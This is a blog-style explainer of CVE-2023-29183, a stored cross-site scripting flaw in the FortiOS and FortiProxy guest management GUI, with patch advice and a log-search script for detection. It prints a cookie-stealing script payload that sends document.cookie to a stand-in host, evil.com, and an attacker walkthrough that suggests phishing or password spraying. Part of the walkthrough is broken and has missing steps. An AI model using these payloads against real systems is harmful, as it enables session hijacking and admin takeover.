CVE-2023-29183 - Simple Breakdown, Exploit Details & Code for FortiProxy and FortiOS XSS Vulnerability

The cybersecurity scene is always shifting. Sometimes critical bugs affect big players, and in 2023, Fortinet—known for its firewalls—had a notable issue pop up: CVE-2023-29183. In simple words, this is a Cross-Site Scripting (XSS) vulnerability affecting FortiProxy and FortiOS GUI. It allows any attacker with a valid login to inject and run JavaScript in another user's browser session, just by tampering with “guest management” input fields.

Let’s break down what you need to know: what the flaw is, how it works, actual code examples, and steps you should take now.

CVE ID: CVE-2023-29183

- Type: Improper Input Neutralization (“Cross-site Scripting”, XSS, CWE-79)

How Does the Exploit Work?

The FortiProxy and FortiOS web graphical interface (GUI) lets users handle “guest management.” This is where the vulnerability lives: these management fields _don’t properly clean up_ or “sanitize” what you type in. If you slip in some JavaScript code, the admin web interface can process, save, and show it right back—running the attacker's code. Classic XSS, but inside an appliance’s admin screen.

Simple Path

1. Attacker logs into FortiOS/FortiProxy GUI with valid credentials (e.g., as help desk or another admin).
2. In the "guest management" settings, the attacker enters malicious JavaScript as part of a guest's detail (like name or description).
3. When any admin sees the guest management entry in the admin GUI, the browser executes the hostile code on their behalf.

Let’s see a proof-of-concept (PoC). This is what an attacker might input as a guest “name”

<script>alert('XSS on FortiOS!')</script>

Save.

When an admin looks at the list of guests, they get a popup!

More dangerous payloads could steal cookies or session tokens

<script>
fetch('https://evil.com/x?'; + document.cookie)
</script>

Lateral Movement: Attackers could move further into your network.

- Impact: Even if only available to “internal” accounts, many organizations give too many people access to admin tools.

Step-by-Step Exploit Walkthrough

Below is an exclusive, easy-flow timeline of how real-world attackers would use this bug.

1. Find access. Most environments have junior admins or helpdesk accounts. Use your access or compromise a low-privileged user (phishing, password spray, whatever).

`html

)">

Admin logs in and opens Guest Management. The exploit is triggered silently in their browser.

6. Exfiltrate session/cookies. If cookies aren't protected by HTTPOnly or Secure flags, you can use these to hijack their privileged session.

Fix

Patch immediately:
- Official Fortinet Advisory
- Upgrade to the corrected version—check their support portal.

No Patch Possible?

- Revoke unused admin/helpdesk accounts.

References

- CVE-2023-29183 at NVD
- Fortinet PSIRT: FG-IR-23-113
- CWE-79 on cwe.mitre.org

Exclusive: Detecting Signs of Exploitation

Hunt through logs for strange script tags or repeated <img src=x onerror= usage, especially from accounts you don’t recognize. Since the attack is stored in the GUI, review any “guest” entries with HTML or JavaScript in text fields.

Sample Log Search (pseudo-code)

with open("events.log") as log:
    for line in log:
        if "<script>" in line or "onerror=" in line:
            print(line)

Conclusion

FortiProxy/FortiOS’s GUI XSS via guest management (CVE-2023-29183) is dangerous because it can turn any trusted account into a launching pad for major internal attacks. Patch as soon as you can. Audit your “guest management” fields for weird HTML and keep admin tools locked down.

Found this helpful? Share with your IT and security teams—and schedule that patch window!


*This write-up is crafted for easy understanding and exclusive insight. Stay safe!*

Timeline

Published on: 09/13/2023 13:15:00 UTC
Last modified on: 09/15/2023 13:23:00 UTC